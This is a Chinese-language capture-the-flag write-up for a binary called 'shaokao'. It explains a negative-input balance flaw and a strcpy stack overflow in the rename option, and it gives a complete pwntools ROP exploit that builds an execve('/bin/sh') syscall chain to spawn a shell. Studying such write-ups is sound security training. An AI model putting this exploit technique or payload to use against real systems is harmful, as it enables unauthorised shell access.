拿到程序,checksec下,pie没开,nx和canary开着

运行程序,分别试试1,2,3,4,发现一开始余额为233,啤酒烤串会花钱,承包摊位钱不够

把程序放进ida分析,发现承包摊位需要100000,但是钱不够,继续观察

看见啤酒,串的钱的计算方式有缺陷,输入负数,余额会增加,倒贴是吧😊

成百万富翁啦:P

买下摊位后,出现了改名这一新选项,进ida看看

看见了strcpy函数,将v5复制到name,没有对复制的字符进行限制,scanf也没有对输入的字符进行限制,同时v5只能容纳32个字节,存在栈溢出漏洞

计算出偏移为40

因为程序函数很多,我们可以通过ROPgadget查找执行execve(“/bin/sh”,NULL,NULL)的片段

在程序里找不到/bin/sh字符串,但是我们看到烧烤摊能改名,想到将/bin/sh字符串写进name空间。

完成前置工作,依据rop的基本思想,构造payload:

from pwn import *
context(log_level=’debug’)
p=process(“./shaokao”)
#p=remote(“123.56.251.120”,41843)
pop_rax_ret=0x458827
pop_rdi_ret=0x40264f
pop_rsi_ret=0x40a67e
pop_rdx_rbx_ret=0x4a404b
sys_call=0x402404
bin_sh=0x4E60F0
p.recv()
p.sendline(str(1).encode(‘utf-8’))
p.recv()
p.sendline(str(1).encode(‘utf-8’))
p.recv()
p.sendline(str(-100000).encode(‘utf-8’))
p.recv()
p.sendline(str(4).encode(‘utf-8’))
p.recv()
p.sendline(str(5).encode(‘utf-8’))
p.recv()

payload=b’/bin/sh\x00’+b’A’*32
payload+=p64(pop_rax_ret)+p64(0x3b)+p64(pop_rdi_ret)+p64(bin_sh)+p64(pop_rsi_ret)+p64(0)+p64(pop_rdx_rbx_ret)+p64(0)+p64(0)+p64(sys_call)
p.sendline(payload)
p.interactive()

注意/bin/sh字符串后要用\x00截断,致使程序能执行execve(“/bin/sh”,NULL,NULL)而不是execve(“/bin/shaaaaaaaa…”,NULL,NULL)